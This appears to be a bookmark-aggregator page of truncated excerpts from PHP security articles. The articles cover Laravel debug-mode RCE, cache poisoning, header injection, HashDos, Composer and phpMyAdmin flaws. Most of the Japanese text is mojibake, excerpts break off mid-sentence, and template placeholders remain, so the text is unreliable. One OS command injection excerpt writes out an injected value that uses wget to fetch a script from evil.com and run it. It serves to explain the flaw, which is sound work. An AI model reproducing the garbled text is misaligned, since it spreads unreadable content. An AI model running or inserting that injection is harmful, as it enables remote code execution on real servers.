Laravel <= v8.4.2 debug mode: Remote code execution
Posted By Charles Fol laravel rce debug file write file read CVE-2021-3129 Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)In late November of 2020, during a security audit for one of our clients, we came accross a website based on Laravel. While the site's security state was pretty good, we remarked that it was running in debug mode, thus displaying verbose error messages inclu
PHPã®è„†å¼±æ€§ CVE-2018-17082 ã«ã‚ˆã‚‹ã‚ャッシュ汚染ã«ã¤ã„ã¦ã®æ³¨æ„å–šèµ·
エグゼクティブサマリ PHPã®è„†å¼±æ€§CVE-2018-17082ã¯XSSã¨ã—ã¦å ±å‘Šã•ã‚Œã¦ã„ã‚‹ãŒã€ç¾å®Ÿã«ã¯XSSã¨ã—ã¦ã®æ”»æ’ƒçµŒè·¯ã¯ãªã„。一方ã€Apacheã®mod_cacheã«ã‚ˆã‚‹ã‚ャッシュ機能を有効ã«ã—ã¦ã„るサイトã§ã¯ã€ã‚ャッシュ汚染ã¨ã„ã†æ”»æ’ƒã‚’å—ã‘ã‚‹å¯èƒ½æ€§ãŒã‚る。 æ¦‚è¦ PHPã®ç¾åœ¨ã‚µãƒãƒ¼ãƒˆä¸ã®ã™ã¹ã¦ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã«ã¤ã„ã¦ã€XSS脆弱性CVE-2018-17082ãŒä¿®æ£ã•ã‚Œã¾ã—ãŸã€‚以下ã¯å¯¾å¿œãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã‚ã‚Šã€ã“れよりå‰ã®ã™ã¹ã¦ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒå½±éŸ¿ã‚’å—ã‘ã¾ã™ã€‚ãŸã ã—ã€Apacheã¨ã®æŽ¥ç¶šã«Apache2handlerを用ã„ã¦ã„ã‚‹å ´åˆã«é™ã‚Šã¾ã™ã€‚ PHP 5.6.38 PHP 7.0.32 PHP 7.1.22 PHP 7.2.10 PHP 5.5以å‰ã‚‚対象ã§ã‚ã‚Šã€ã“れらã¯è„†å¼±æ€§ã¯ä¿®æ£ã•ã‚Œã¦ã„ã¾ã›ã‚“。 脆弱性をå†ç¾ã•ã›ã¦ã¿ã‚‹ ã“ã®è„†å¼±æ€§ã®PoCã¯ã€å½“å•é¡Œã®ãƒã‚°ãƒ¬ãƒãƒ¼ãƒˆã«ã‚ã‚Šã¾ã™ã€‚ PHP ::
脆弱性ã¯èª°ã®ã›ã„? �PHPã€MySQLã€Joomla! ã®è²¬ä»»ã‚„ã„ã‹ã«
11. コードã®å·®åˆ†ã‹ã‚‰ diff -r -u joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php --- joomla-3.4.5/libraries/joomla/session/session.php 2015-10-21 17:48:16.000000000 +0900 +++ joomla-3.4.6/libraries/joomla/session/session.php 2015-12-14 14:42:12.000000000 +0900 - - // Check for clients browser - if (in_array('fix_browser', $this->_security) && isset($_SERV
PHP ã® mt_rand() ã¯ä¸€è²«ã—ã¦å£Šã‚Œã¦ã„ã‚‹(consistently broken)らã—ã„ - 唯物是真 @Scaled_Wurm
PHPã§Mersenne Twister法ã§æ“¬ä¼¼ä¹±æ•°ã‚’生æˆã™ã‚‹é–¢æ•°ã®mt_rand()ã«ãƒã‚°ãŒã‚り出力ãŒãŠã‹ã—ã„ã€ã¨ã„ã†è©±ãŒæµã‚Œã¦ãã¦ãŠã‚‚ã—ã‚ã‹ã£ãŸã®ã§ç°¡å˜ã«ã¾ã¨ã‚ã¦ãŠã kusanoã•ã‚“ãŒmt_rand()ã®å®Ÿè£…ã«9年以上å‰ã‹ã‚‰1æ–‡å—é•ã„ã§ãƒã‚°ãŒã‚ã£ãŸã“ã¨ã‚’見ã¤ã‘ã¦ã€æ•°ãƒ¶æœˆå¾Œã«ãƒžãƒ¼ã‚¸ã•ã‚Œã‚‹(追記: æ£ç¢ºã«ã¯ã€PHP版ã®å®Ÿè£…ãŒä»–ã¨ç•°ãªã£ã¦ã„ã‚‹ã®ã¯å‰ã‹ã‚‰çŸ¥ã‚‰ã‚Œã¦ã„ãŸã‚‰ã—ã„*1 ) PHPã«é€ã£ãŸ1æ–‡å—ä¿®æ£ã™ã‚‹ãƒ—ルリクエストãŒãƒžãƒ¼ã‚¸ã•ã‚ŒãŸðŸŽ‰ mt_rand()ã®è¿”ã™å€¤ãŒå…ƒã®ãƒ¡ãƒ«ã‚»ãƒ³ãƒŒãƒ„イスタã¨ç•°ãªã£ã¦ã„ãŸã€‚https://t.co/Z5WJhHVyNd— kusanoã•ã‚“@ãŒã‚“ã°ã‚‰ãªã„ (@kusano_k) February 17, 2016 ãã®å¾Œã€ç”Ÿæˆã•ã‚Œã‚‹æ“¬ä¼¼ä¹±æ•°åˆ—ãŒå¤‰ã‚ã£ã¦ã—ã¾ã†ã®ã§ã€å¾Œæ–¹äº’æ›æ€§ã‚’壊ã™å¤‰æ›´ã¯è°è«–ã—ã¦ã‹ã‚‰mergeã™ã¹ãã¨ã„ã†ã“ã¨ã§revertã•ã‚Œã‚‹ã“ã®å‰ãƒžãƒ¼ã‚¸ã•ã‚ŒãŸ
PHPã«ãŠã‘ã‚‹HTTPヘッダインジェクションã¯ã¾ã ã—ã¶ã¨ã生ã残る
ã“ã®è¨˜äº‹ã¯PHPアドベントカレンダー2015ã®3日目ã®è¨˜äº‹ã§ã™ 。 MBSD寺田ã•ã‚“ã®è¨˜äº‹ã€ŒLWSã¨HTTPヘッダインジェクションã€ã§ã¯ã€PHPã®header関数ã«é–¢é€£ã—ã¦ã€PHPå´ã®HTTPヘッダインジェクション対ç–を回é¿ã™ã‚‹æ‰‹æ³•ã¨ã€ãã‚Œã«å¯¾ã™ã‚‹PHPå´ã®å¯¾å¿œã«ã¤ã„ã¦æ›¸ã‹ã‚Œã¦ã„ã¾ã™ã€‚ã“ã®è¨˜äº‹ã§ã¯ã€å¯ºç”°ã•ã‚“ã®è¨˜äº‹ã‚’å—ã‘ã¦ã€ç¾åœ¨ã§ã‚‚HTTPヘッダインジェクション攻撃ãŒå¯èƒ½ãªPHP環境ãŒæ®‹ã£ã¦ã„ã‚‹ã‹ã‚’検証ã—ã¾ã™ã€‚ HTTPヘッダインジェクションã¨ã¯ 以下ã®æ§˜ãªã‚¹ã‚¯ãƒªãƒ—トãŒã‚ã‚‹ã¨ã—ã¾ã™ã€‚ <?php header('Location: ' . $_GET['url']); オープンリダイレクタ脆弱性ãŒã‚ã‚Šã¾ã™ãŒã€ãã‚Œã¯æ°—ã«ã—ãªã„ã¨ã—ã¦ã€PHP5.1.1ã¾ã§ã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã§ã¯ã€ä»¥ä¸‹ã®æ§˜ãªæ”»æ’ƒãŒå¯èƒ½ã§ã—ãŸã€‚ http://example.jp/header.php?url=http://example
PHPã®JSON HashDosã«é–¢ã™ã‚‹æ³¨æ„å–šèµ·
4å¹´å‰ã«HashDos（Hash Collision Attack）ã«é–¢ã™ã‚‹åŠ¹çŽ‡çš„ãªæ”»æ’ƒæ–¹æ³•ãŒ28C3ã«ã¦å…¬é–‹ã•ã‚Œã€PHPã‚’å«ã‚€ä¸»è¦è¨€èªžãŒã“ã®æ”»æ’ƒã®å½±éŸ¿ã‚’å—ã‘ã‚‹ãŸã‚対ç–を実施ã—ã¾ã—ãŸã€‚ã—ã‹ã—ã€PHP以外ã®è¨€èªžãŒã€ãƒãƒƒã‚·ãƒ¥ãŒè¡çªã™ã‚‹ãƒ‡ãƒ¼ã‚¿ã‚’予測困難ã«ã™ã‚‹å¯¾ç–ã‚’ã¨ã£ãŸã®ã«å¯¾ã—ã¦ã€PHPã¯ã€GET/POST/COOKIEç‰ã®å…¥åŠ›ãƒ‡ãƒ¼ã‚¿ã®å€‹æ•°ã‚’制é™ã™ã‚‹ã¨ã„ã†å¯¾ç—‡ç™‚法を実施ã—ãŸãŸã‚ã€PHPã«ã¯HashDosã«å¯¾ã™ã‚‹æ”»æ’ƒçµŒè·¯ãŒã¾ã 残ã£ã¦ã„ã‚‹ã¨ã„ã†ã“ã¨ã¯ã€ä¸€éƒ¨ã®æŠ€è¡“者ã«ã¯çŸ¥ã‚‰ã‚Œã¦ã„ã¾ã—ãŸã€‚例ãˆã°ã€ä»¥ä¸‹ã®æ§˜ãªã¤ã¶ã‚„ãã«ã‚‚見るã“ã¨ãŒã§ãã¾ã™ã€‚ ã ã£ã¦ã€ hashdos 脆弱性ã®æ™‚〠Python ã¨ã‹ã®è¨€èªžãŒã€å¤–部入力をãƒãƒƒã‚·ãƒ¥ã«å…¥ã‚Œã‚‹ã¨ãã«è¡çªã‚’ç‹™ãˆãªã„よã†ã«å¯¾ç–ã—ãŸã®ã«ã€phpã ã‘POST処ç†ã§å¯¾ç–ã—ãŸã‹ã‚‰ã？ json ã‚’å—ã‘å–るよã†ãªå£ã‚‚ã£ã¦ã‚‹phpアプリã®ã»ã¨ã‚“ã©ãŒhashdos残ã£ã¦ã‚‹ã‚“ã˜ã‚ƒãªã„
「10æ—¥ã§ãŠã¼ãˆã‚‹PHP入門教室 第4版ã€ã¯ã‚»ã‚ュリティé¢ã§é«˜è©•ä¾¡
弊社本社ã®éº»å¸ƒå番移転ã«ä¼´ã„ã€æœ¬ç¤¾è¿‘ãã®éº»å¸ƒå›³æ›¸é¤¨ã‚’利用ã—ã¦ã„ã¾ã™ã€‚麻布図書館ã¯åœŸåœ°æŸ„ã®ã‚¤ãƒ¡ãƒ¼ã‚¸ã«ã‚ã†ç€Ÿæ´’ãªå»ºç‰©ã§ã€è”µæ›¸ãŒãªã„å ´åˆã¯æ¸¯åŒºã®ä»–ã®å›³æ›¸é¤¨ã‹ã‚‰å–り寄ã›ï¼ˆç„¡æ–™ã§ã™ï¼‰ãŒã§ãã¾ã™ã®ã§ã€ã‚ˆã利用ã—ã¦ã„ã¾ã™ã€‚今回ã¯ã€å±±ç”°ç¥¥å¯›ã•ã‚“ã®ã€Œ10æ—¥ã§ãŠã¼ãˆã‚‹PHP入門教室 第4版 ã€ã‚’借りã¦èªã‚“ã§ã¿ã¾ã—ãŸã€‚一èªã—ã¦ã€æœ¬æ›¸ãŒã‚»ã‚ュリティã«ã‚‚よãé…æ…®ã•ã‚Œã¦ã„ã‚‹ã“ã¨ãŒã‚ã‹ã‚Šã¾ã—ãŸã®ã§ã€ä»¥ä¸‹ã«ã”紹介ã—ãŸã„ã¨æ€ã„ã¾ã™ã€‚ クãƒã‚¹ã‚µã‚¤ãƒˆã‚¹ã‚¯ãƒªãƒ—ティング(XSS) 表示ã®éš›ã«HTMLエスケープã™ã‚‹ã¨ã„ã†åŽŸå‰‡ã‚’å¿ å®Ÿã«å®ˆã£ã¦ã„ã¾ã™ã€‚ãã®ãŸã‚ã€ä¸‹è¨˜ã® e() ã¨ã„ã†é–¢æ•°ã‚’定義ã—ã¦å‘¼ã³å‡ºã—ã¦ã„ã¾ã™ã€‚ function e($str, $charset = 'UTF-8') { return htmlspecialchars($str, ENT_QUOTES, $charset); } ãã®ä»–ã«ã‚‚XSS対ç–ã¨ã—ã¦é‡è¦ãªä¸‹è¨˜ã®
Composer ã®ã‚»ã‚ュリティ上ã®å•é¡ŒãŒç›´ã£ãŸã®ã§ PHP ãªæ–¹ã¯ä»Šã™ãæ›´æ–°ã‚’ - co3k.org
Composer ã®ä»¥ä¸‹ã®å•é¡ŒãŒ 2 月åŠã°ã‚ãŸã‚Šã‹ã‚‰è©±é¡Œã«ãªã£ã¦ã„ã¾ã—ãŸã€‚ Limit Replace / Provides to packages required by name in root package or any dep · Issue #2690 · composer/composer https://github.com/composer/composer/issues/2690 一言ã§è¨€ã†ã¨ã€ æ¡ä»¶ã«ã‚ˆã£ã¦ã¯ãƒ¦ãƒ¼ã‚¶ã®æ„図ã—ãªã„パッケージãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¦ã—ã¾ã† ã¨ã„ã†å•é¡Œã§ã™ã€‚悪æ„ã®ã‚るパッケージをインストールã—ãŸã“ã¨ã«æ°—ã¥ã‹ã‚Œãªã‘ã‚Œã°ã€æ”»æ’ƒè€…ã®æ€ã„通りã®ã‚³ãƒ¼ãƒ‰ã‚’実行ã•ã›ã‚‹ã“ã¨ãŒã§ãã¦ã—ã¾ã„ã¾ã™ã€‚ ã–ã£ãり説明ã™ã‚‹ã¨ã€ Composer ã«ã¯ fork ã—ãŸãƒ‘ッケージやã€ãƒªãƒãƒ¼ãƒ ã—ãŸãƒ‘ッケージ ã‹ã‚‰ ã€å…ƒã®ãƒ‘ッケージを置ãæ›ãˆã‚‹ã“ã¨ã®ã§ãる機能ãŒå˜åœ¨ã™ã‚‹ (本エン
PHPã ã£ã¦ã‚·ã‚§ãƒ«çµŒç”±ã§ãªã„コマンド呼ã³å‡ºã—機能ãŒæ¬²ã—ã„
ã“ã®ã‚¨ãƒ³ãƒˆãƒªã¯PHP Advent Calendar 2013 in Adventar ã®21日目ã§ã™ã€‚ OSコマンドインジェクションã¨ã¯ OSコマンドインジェクションã¨ã„ã†è„†å¼±æ€§ãŒã‚ã‚Šã¾ã™ã€‚PHPã‹ã‚‰å¤–部コマンドを呼んã§ã„ã‚‹å ´åˆã«ã€æ„図ã—ãŸã‚³ãƒžãƒ³ãƒ‰ã¨ã¯åˆ¥ã®ã‚³ãƒžãƒ³ãƒ‰ã‚’外部ã‹ã‚‰æŒ‡å®šã•ã‚Œã€å®Ÿè¡Œã•ã‚Œã¦ã—ã¾ã†ã‚‚ã®ã§ã™ã€‚ 下記ã®ã‚ˆã†ã«ã€myprog をパラメータ指定ã§èµ·å‹•ã—ã¦ã„ã‚‹å ´åˆã§èª¬æ˜Žã—ã¾ã™ã€‚$paramã¯ãƒ•ã‚¡ã‚¤ãƒ«åやメールアドレスãªã©ã‚’想定ã—ã¦ã„ã¾ã™ã€‚ $param = $_GET['param']; system("myprog $param"); $paramã¨ã—㦠; wget http://evil.com/bad.php ; php bad.php  を指定ã•ã‚Œã‚‹ã¨ã€system関数ã§å®Ÿè¡Œã™ã‚‹ã‚³ãƒžãƒ³ãƒ‰ã¯ä¸‹è¨˜ã¨ãªã‚Šã¾ã™ã€‚ myprog ; wget http://evil.com/ba
PHPセッションアダプションをスクリプトå´ã§ä¿®æ£ã™ã‚‹æ–¹æ³•
(Last Updated On: 2018å¹´8月13æ—¥)PHPã®ã‚¹ã‚¯ãƒªãƒ—トを使ã£ã¦ã‚¢ãƒ€ãƒ—ティブãªPHPセッションをアダプティブã«ã—ãªã„方法を紹介ã—ã¾ã™ã€‚ ã“ã®ãƒ–ãƒã‚°ã§ç´¹ä»‹ã—ã¦ã„ãŸã‹ã©ã†ã‹è¦šãˆã¦ã„ãªã„ã§ã™ãŒã€ã‚»ãƒƒã‚·ãƒ§ãƒ³ã‚¢ãƒ€ãƒ—ション対ç–ã¨ã—ã¦session_regenerate_id()ãŒå°Žå…¥ã•ã‚ŒãŸæ™‚ã«è°è«–・紹介ã•ã‚Œã¦ã„ã‚‹ã®ã§çŸ¥ã£ã¦ã„る方も多ã„ã¨æ€ã„ã¾ã™ã€‚（ã¨ã„ã†ã‚ˆã‚Šã€PHPerã®å¸¸è˜ã§ã™ã‚ˆã？） ã¾ãšã¯ã‚»ãƒƒã‚·ãƒ§ãƒ³ã‚¢ãƒ€ãƒ—ションã®åŽŸç†ã¨å¯¾ç–ã®å¾©ç¿’ã‚’ã—ã¦ãŠãã¾ã™ã€‚ 原ç†ï¼š 未åˆæœŸåŒ–ã®ã‚»ãƒƒã‚·ãƒ§ãƒ³IDã‚’å—ã‘入れる 対ç–： åˆæœŸåŒ–済ã¿ã‚»ãƒƒã‚·ãƒ§ãƒ³IDã®ã¿å—ã‘入れる session_regenerate_id()ã¯æ–°ã—ã„セッションIDを生æˆã—ã¦æ–°ã—ã„セッションクッã‚ーを作æˆã—ã¦ã€ã‚»ãƒƒã‚·ãƒ§ãƒ³ãƒ‡ãƒ¼ã‚¿ã‚’ä¿å˜ã™ã‚‹ã‚ˆã†ã«ãªã£ã¦ã„ã¾ã™ã€‚session_regenerate_id()を呼んã ã ã‘ã§ã¯ã€ãªã‚“らã‹ã®æ–¹æ³•ã§è¤‡
phpMyAdminã«ãŠã‘ã‚‹ä»»æ„スクリプト実行å¯èƒ½ãªè„†å¼±æ€§ã®æ¤œè¨¼ - ockeghem's blog
phpMyAdmin（3.3.10.2未満ã€3.4.3.1未満）ã«ã¯ã€ãƒªãƒ¢ãƒ¼ãƒˆã‹ã‚‰ä»»æ„ã®ã‚¹ã‚¯ãƒªãƒ—トãŒå®Ÿè¡Œå¯èƒ½ãªè„†å¼±æ€§ãŒã‚ã‚Šã¾ã™ã€‚ã“ã®ã‚¨ãƒ³ãƒˆãƒªã§ã¯ã€ã“ã®è„†å¼±æ€§ãŒç™ºç”Ÿã™ã‚‹ãƒ¡ã‚«ãƒ‹ã‚ºãƒ ã¨å¯¾ç–ã«ã¤ã„ã¦å ±å‘Šã—ã¾ã™ã€‚ æ¦‚è¦ phpMyAdminã«ã¯ä¸‹è¨˜ã®2種類ã®è„†å¼±æ€§ã®çµ„ã¿åˆã‚ã›ã«ã‚ˆã‚Šã€ãƒªãƒ¢ãƒ¼ãƒˆã‹ã‚‰ä»»æ„ã®ã‚¹ã‚¯ãƒªãƒ—トを実行ã•ã›ã‚‰ã‚Œã‚‹è„†å¼±æ€§ãŒã‚ã‚Šã¾ã™ã€‚ CVE-2011-2505 CVE-2011-2506 該当ã™ã‚‹ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã¯ä»¥ä¸‹ã®é€šã‚Šã§ã™ã€‚ phpMyAdmin ãƒãƒ¼ã‚¸ãƒ§ãƒ³3.3.10.2未満 phpMyAdmin ãƒãƒ¼ã‚¸ãƒ§ãƒ³3.4.3.1未満 影響をå—ã‘ã‚‹æ¡ä»¶ã¯ã€ä¸Šè¨˜ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®phpMyAdminを使用ã—ã¦ã„ã‚‹ã“ã¨ã«åŠ ãˆã¦ã€ä»¥ä¸‹ã‚’ã™ã¹ã¦æº€ãŸã™å ´åˆã§ã™ã€‚ setup/index.phpã¨setup/config.phpを外部ã‹ã‚‰å®Ÿè¡Œã§ãã‚‹ phpMyAdminã®configディレクトリãŒå˜åœ¨ã—ã€PHP
PHPã§ã‚»ã‚ュリティを真é¢ç›®ã«è€ƒãˆã‚‹
オープンソースカンファレンス2011 Hokkaido #osc11do 「PHPã§ã‚»ã‚ュリティを真é¢ç›®ã«è€ƒãˆã‚‹ã€ LOCAL PHP部　ä½è—¤ç¢å“‰ï¼ˆ@nazo） http://labs.nazone.info/Read less
1
リリースã€éšœå®³æƒ…å ±ãªã©ã®ã‚µãƒ¼ãƒ“スã®ãŠçŸ¥ã‚‰ã›
最新ã®äººæ°—エントリーã®é…ä¿¡
j次ã®ãƒ–ックマーク
kå‰ã®ãƒ–ックマーク
lã‚ã¨ã§èªã‚€
eコメント一覧を開ã
oページを開ã
ãªãœmt_rand()ã®èª¤ã£ãŸå®Ÿè£…をサクッã¨ä¿®æ£ã§ããªã„ã®ã‹ - Qiita
Symfony Security Monitoring
PHP5.4.8ã¾ã§ã«hashdos攻撃ã®å±é™ºæ€§?
{{#tags}}- {{label}}
{{/tags}}